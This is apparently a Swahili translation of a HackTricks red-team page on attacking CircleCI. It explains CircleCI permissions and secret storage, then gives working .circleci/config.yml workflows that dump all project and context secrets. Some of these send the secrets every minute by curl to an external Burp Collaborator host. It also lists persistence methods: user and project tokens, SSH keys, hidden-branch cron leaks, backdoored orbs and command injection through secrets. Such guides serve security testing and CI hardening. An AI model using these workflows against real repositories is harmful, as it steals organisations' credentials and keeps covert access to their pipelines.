Usalama wa CircleCI

Reading time: 7 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

CircleCI ni jukwaa la Uunganishaji Endelevu ambapo unaweza kufafanua mifano inayoonyesha unachotaka kifanye na wakati wa kufanya hivyo. Kwa njia hii unaweza kujiandaa kwa majaribio au kupeleka moja kwa moja kutoka kwa tawi kuu la repo yako kwa mfano.

Ruhusa

CircleCI inaandika ruhusa kutoka github na bitbucket zinazohusiana na akaunti inayojiunga.
Katika majaribio yangu nilikagua kwamba mradi wowote una ruhusa za kuandika juu ya repo katika github, utaweza kusimamia mipangilio ya mradi wake katika CircleCI (kufanya mipangilio mipya ya ssh, kupata funguo za api za mradi, kuunda matawi mapya na mipangilio mipya ya CircleCI...).

Hata hivyo, unahitaji kuwa admin wa repo ili kubadilisha repo kuwa mradi wa CircleCI.

Vigezo vya Mazingira & Siri

Kulingana na nyaraka kuna njia tofauti za kuchaji thamani katika vigezo vya mazingira ndani ya mchakato.

Vigezo vya mazingira vilivyojengwa ndani

Kila kontena linalotumiwa na CircleCI litakuwa na vigezo maalum vya mazingira vilivyofafanuliwa katika nyaraka kama CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME au CIRCLE_USERNAME.

Maandishi wazi

Unaweza kuyatangaza kwa maandiko wazi ndani ya amri:

yaml
- run:
name: "set and echo"
command: |
SECRET="A secret"
echo $SECRET

Unaweza kutangaza hizo kwa maandiko wazi ndani ya run environment:

yaml
- run:
name: "set and echo"
command: echo $SECRET
environment:
SECRET: A secret

Unaweza kutangaza hizo kwa maandiko wazi ndani ya build-job environment:

yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Unaweza kutangaza hizo kwa maandiko wazi ndani ya mazingira ya kontena:

yaml
jobs:
build-job:
docker:
- image: cimg/base:2020.01
environment:
SECRET: A secret

Siri za Mradi

Hizi ni siri ambazo zitakuwa zinapatikana tu na mradi (kwa tawi lolote).
Unaweza kuziona zilizoelezwa katika https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

caution

Kazi ya "Import Variables" inaruhusu kuagiza mabadiliko kutoka miradi mingine hadi hii.

Siri za Muktadha

Hizi ni siri ambazo ni za shirika lote. Kwa kawaida repo yoyote itakuwa na uwezo wa kupata siri yoyote iliyohifadhiwa hapa:

tip

Hata hivyo, kumbuka kwamba kundi tofauti (badala ya Wanachama Wote) linaweza kuchaguliwa ili kutoa ufaccessi kwa siri kwa watu maalum.
Hii kwa sasa ni moja ya njia bora za kuongeza usalama wa siri, ili kuto ruhusu kila mtu kuzipata bali watu wachache tu.

Mashambulizi

Tafuta Siri za Maandishi Safi

Ikiwa una ufaccessi kwa VCS (kama github) angalia faili .circleci/config.yml ya kila repo kwenye kila tawi na tafuta siri za maandishi safi zinazoweza kuwa zimehifadhiwa humo.

Siri za Env Vars & Uainishaji wa Muktadha

Ukikagua msimbo unaweza kupata majina yote ya siri yanayotumika katika kila faili ya .circleci/config.yml. Unaweza pia kupata majina ya muktadha kutoka kwa hizo faili au kuangalia kwenye console ya wavuti: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Fanya Uhamishaji wa Siri za Mradi

warning

Ili kuhamasisha ZOTE siri za mradi na muktadha unahitaji tu kuwa na UFACCESSI WA KUANDIKA kwa repo 1 tu katika shirika lote la github (na akaunti yako lazima iwe na ufaccessi kwa muktadha lakini kwa kawaida kila mtu anaweza kupata kila muktadha).

caution

Kazi ya "Import Variables" inaruhusu kuagiza mabadiliko kutoka miradi mingine hadi hii. Hivyo, mshambuliaji anaweza kuagiza mabadiliko yote ya mradi kutoka kwa repo zote na kisha kuhamasisha yote pamoja.

Siri zote za mradi kila wakati zimewekwa katika env ya kazi, hivyo kuitwa tu env na kuificha kwa base64 itahamisha siri katika console ya logi ya kazi za wavuti:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env

Ikiwa huna ufikiaji wa web console lakini una ufikiaji wa repo na unajua kuwa CircleCI inatumika, unaweza tu kuunda workflow ambayo inachochewa kila dakika na ambayo inatoa siri kwa anwani ya nje:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env

Exfiltrate Context Secrets

Unahitaji kueleza jina la muktadha (hii pia itatoa siri za mradi):

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"

workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context

Ikiwa huna ufikiaji wa web console lakini una ufikiaji wa repo na unajua kuwa CircleCI inatumika, unaweza tu kubadilisha workflow ambayo inasababishwa kila dakika na ambayo inasafirisha siri kwa anwani ya nje:

yaml
version: 2.1

jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context

warning

Kuunda tu .circleci/config.yml mpya katika repo sio ya kutosha kuanzisha ujenzi wa circleci. Unahitaji kuwezesha kama mradi katika console ya circleci.

Kutoroka kwa Wingu

CircleCI inakupa chaguo la kuendesha ujenzi wako katika mashine zao au katika zako mwenyewe.
Kwa default, mashine zao ziko katika GCP, na awali huwezi kupata chochote muhimu. Hata hivyo, ikiwa mwathirika anatekeleza kazi katika mashine zao wenyewe (labda, katika mazingira ya wingu), unaweza kupata nukta ya metadata ya wingu yenye habari za kuvutia.

Kumbuka kwamba katika mifano ya awali kila kitu kilizinduliwa ndani ya kontena la docker, lakini unaweza pia kuomba kuzindua mashine ya VM (ambayo inaweza kuwa na ruhusa tofauti za wingu):

yaml
jobs:
exfil-env:
#docker:
#  - image: cimg/base:stable
machine:
image: ubuntu-2004:current

Au hata kontena la docker lenye ufikiaji wa huduma ya docker ya mbali:

yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13

Persistence

  • Inawezekana kuunda tokens za mtumiaji katika CircleCI ili kufikia API endpoints kwa ufikiaji wa watumiaji.
  • https://app.circleci.com/settings/user/tokens
  • Inawezekana kuunda tokens za miradi ili kufikia mradi kwa ruhusa zilizotolewa kwa token.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/api
  • Inawezekana kuongeza funguo za SSH kwenye miradi.
  • https://app.circleci.com/settings/project/github/<org>/<repo>/ssh
  • Inawezekana kuunda kazi ya cron katika tawi lililofichwa katika mradi usiotarajiwa ambao unatoa leak ya context env vars kila siku.
  • Au hata kuunda katika tawi / kubadilisha kazi inayojulikana ambayo itatoa leak ya muktadha wote na siri za miradi kila siku.
  • Ikiwa wewe ni mmiliki wa github unaweza kuruhusu orbs zisizothibitishwa na kuziunda katika kazi kama backdoor
  • Unaweza kupata udhaifu wa kuingiza amri katika kazi fulani na kuingiza amri kupitia siri kwa kubadilisha thamani yake

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks